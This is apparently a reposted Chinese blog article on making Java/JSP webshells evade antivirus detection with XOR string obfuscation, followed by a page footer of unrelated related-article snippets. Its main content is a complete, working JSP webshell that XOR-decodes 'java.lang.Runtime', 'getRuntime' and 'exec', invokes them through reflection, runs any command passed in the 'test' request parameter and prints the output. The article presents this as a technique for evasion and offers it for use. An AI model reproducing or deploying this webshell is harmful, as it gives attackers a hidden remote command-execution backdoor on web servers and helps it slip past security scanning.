【Java免杀】异或加密 (XOR Cipher)实现WebShell免杀

news/2025/3/1 13:40:32/文章来源:https://www.cnblogs.com/o-O-oO/p/18744775

异或加密是一种对每个字符执行位操作的加密方法。通过与一个密钥进行异或运算,明文会被加密,且加密后的文本可以通过相同的密钥再次进行异或解密。

一、加密与解密示例:

<%! public static String xorEncryptDecrypt(String text, char key) {StringBuilder result = new StringBuilder();for (int i = 0; i < text.length(); i++) {char c = (char) (text.charAt(i) ^ key);  // 执行异或运算result.append(c);  // 将结果添加到 StringBuilder}return result.toString();}
%>

二、使用示例:

<%String originalText = "Hello World!";char key = 'K';  // 选择一个密钥String encryptedText = xorEncryptDecrypt(originalText, key);String decryptedText = xorEncryptDecrypt(encryptedText, key);  // 再次使用相同的密钥解密out.println("Original Text: " + originalText);out.println("Encrypted Text: " + encryptedText);out.println("Decrypted Text: " + decryptedText);
%>

三、解释:

异或加密的优点是简单且对称:加密和解密使用相同的密钥。

异或加密的弱点是密钥长度固定,因此当密钥较短时,容易被暴力破解。增加密钥长度或多次异或可以提高安全性。

四、免杀实践

public static String xorEncryptDecrypt(String text, char key) {StringBuilder result = new StringBuilder();for (int i = 0; i < text.length(); i++) {char c = (char) (text.charAt(i) ^ key);  // 执行异或运算result.append(c);  // 将结果添加到 StringBuilder}return result.toString();}public static void main(String[] args) throws NoSuchMethodException {String a = "java.lang.Runtime";String b = "getRuntime";String c = "exec";char k = 'A';String encryptedText = xorEncryptDecrypt(a, k);  // 再次使用相同的密钥解密String decryptedText = xorEncryptDecrypt(encryptedText, k);  // 再次使用相同的密钥解密System.out.println("Encrypted Text: " + encryptedText);System.out.println("Decrypted Text: " + decryptedText);String encryptedText2 = xorEncryptDecrypt(b, k);  // 再次使用相同的密钥解密String decryptedText2 = xorEncryptDecrypt(encryptedText2, k);  // 再次使用相同的密钥解密System.out.println("Encrypted Text: " + encryptedText2);System.out.println("Decrypted Text: " + decryptedText2);String encryptedText3 = xorEncryptDecrypt(c, k);  // 再次使用相同的密钥解密String decryptedText3 = xorEncryptDecrypt(encryptedText3, k);  // 再次使用相同的密钥解密System.out.println("Encrypted Text: " + encryptedText3);System.out.println("Decrypted Text: " + decryptedText3);}

使用异或对关键字符串进行加密,执行成功

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method" %>
<%!public static String xorEncryptDecrypt(String text, char key) {StringBuilder result = new StringBuilder();for (int i = 0; i < text.length(); i++) {char c = (char) (text.charAt(i) ^ key);  // 执行异或运算result.append(c);  // 将结果添加到 StringBuilder}return result.toString();}
%><%String test = request.getParameter("test");if (test != null) {// 利用反射构造类名和方法名String a = "+ 7 o- /&o\u00134/5(,$";String d = "&$5\u00134/5(,$";String h = "$9$\"";char k = 'A';String aa = xorEncryptDecrypt(a,k);String bb = xorEncryptDecrypt(d,k);String cc = xorEncryptDecrypt(h,k);out.println(aa);out.println(bb);out.println(cc);Class<?> r = Class.forName(aa);Method g = r.getDeclaredMethod(bb);Method e = r.getDeclaredMethod(cc, String.class);Runtime runtime = (Runtime) g.invoke(null);Process process = (Process) e.invoke(runtime, test);java.io.InputStream in = process.getInputStream();int z = -1;byte[] b = new byte[2048];out.print("<pre>");while ((z = in.read(b)) != -1) {out.println(new String(b));}out.print("</pre>");}%>

原创 BeretSec 贝雷帽SEC

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/891533.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大厂开源项目,真的太爽啦,字节跳动出品!这个设计系统开源神器,让你的产品颜值与效率齐飞

Semi Design是由抖音前端团队开源的企业级设计系统,**同时支持React/Vue双框架**,提供超过60+高质量组件。不同于普通UI库,它从**设计工程化**角度出发,打通Figma设计资源与前端代码的桥梁,真正实现设计稿到代码的"零误差还原"。目前已在字节跳动200+项目中验证…

微信小程序安装VantWeapp组件

1、网址 https://vant-ui.github.io/vant-weapp/#/popup 2、安装教程:点击快速上手 这里我们通过 npm i @vant/weapp -S --production 来安装 1、右键点开 app.js 点 在内建终端中打开 2、把 npm i @vant/weapp -S --production 放到这里来 按回车安装完成后显示这个 3…

一道面试题——python

写法一:1 paths=[D:\lser\local file1.txt(abcd)file2.txt(wxsd)file3.txt(qqw),E:\path\jdk file2.txt(abcd)file5.txt(vv),C:\duafile\dublock\dufell file4.txt(vv)]2 3 #如题,paths列表中有不同文件路径,对应了n个文件和不同文件内容4 #期望输出,相同文件内容的文件路径…

【Linux应急】find命令在应急实战中的使用

一、使用场景 linux系统下排查主机异常时间点是否存在异常落地文件,例如:主机被上传了webshell后,排查当天是否落地其他webshell或其他异常文件。 二、命令介绍 find [路径] [选项] [条件]指定要搜索的目录。如果不指定,默认是当前目录【.】参数介绍:-type:f代表普通文件…

【自荐】Catime v1.0.4 一款贼好用的计时器

Github: https://github.com/vladelaina/Catime仅1.3MB!!!!! 🌟特点极简设计: 透明界面、点击穿透、可调大小和位置、多语言支持 丰富字体: 47种字体,支持实时预览 灵活计时: 快速预设、自定义时间输入、显示当前时间(12/24小时制)、倒计时、正计时 超时动作: 通知、锁屏、关…

L2G2-Lagent 自定义你的 Agent 智能体

L2G2-Lagent 自定义你的 Agent 智能体 1. Agent 入门 1.1 Agent 是什么 Agent 的核心是将感知,推理和行动结合成一个闭环。Agent 通过感知器感知外部的环境,获取输入的数据。然后输入数据到某种形式中(比如模型),它负责处理输入数据,制定行动策略。随后执行器根据模型的输…

L2G3-LMDeploy 量化部署进阶实践

L2G3-LMDeploy 量化部署进阶实践 1. LMDeploy部署模型 1.1 什么是模型部署?1.2 一个大语言模型部署框架可以提供什么? LMDeploy提供了大语言模型部署的全链条开源工具,能够十分便捷地帮助用户部署自己大模型应用。推理引擎与大模型的关系(from claude 3.5 sonnet): 大模型…

L1G4-InternLM + LlamaIndex RAG 实践

L1G4-InternLM + LlamaIndex RAG 实践 1. RAG技术 1.1 RAG技术概述 解决的问题:生成幻觉:不知道的东西乱说 过时知识:大模型的训练是一次性的而不是实时的,不能及时获取最新的知识 缺乏透明和可追溯的推理过程:大模型给出的答案可能是对的,但我们不知道是怎么得到的。即不…

L1G6-OpenCompass 评测书生大模型实践

L1G6-OpenCompass 评测书生大模型实践 1. 大模型评测入门 1.1 评测重要性和挑战 解释:超级对齐的必备组件:大模型安全问题日益突出,人工监管能力有限,需要有基于评测的安全监督。 数据污染:有的模型可能在评测集上训练,得到的分数不可信。 评测成本:客观题数量较多时,大…

DeepSeek引发的AI发展路径思考

在规模法则(Scaling Law)之外,DeepSeek 引领人工智能行业进入以算法和模型架构优化为主,同时高度重视数据质量与规模、理性提高算力的新时期。DeepSeek引发的AI发展路径思考 参考文章来源于科技导报 ,作者李国杰院士 1. DeepSeek 的科技突破7 天之内 DeepSeek 的用户增长超…

【Linux应急】Redis写入计划任务

免责声明 本文发表的文章仅用于学习和交流,请勿用于非法途径,如果文章中涉及到侵权,请及时联系公众号进行删除。一、漏洞原理 通过未授权或弱密码连接数据库之后,修改redis备份目录和参数,实现在主机的计划任务文件中写入定时反弹shell的命令,从而获取主机权限。 二、漏洞…

Minitab 21软件下载与安装教程

【Minitab 21软件下载与安装教程】 1-安装包 扫描下方二维码关注「软知社」,后台回复【036】三位数字即可免费获取分享链接,无广告拒绝套路; 2-安装教程解压下载安装包,双击Setup.exe安装,弹窗安装对话框语言默认中文,点击下一步点击下一步勾选我接受 ,点击下一步选择开…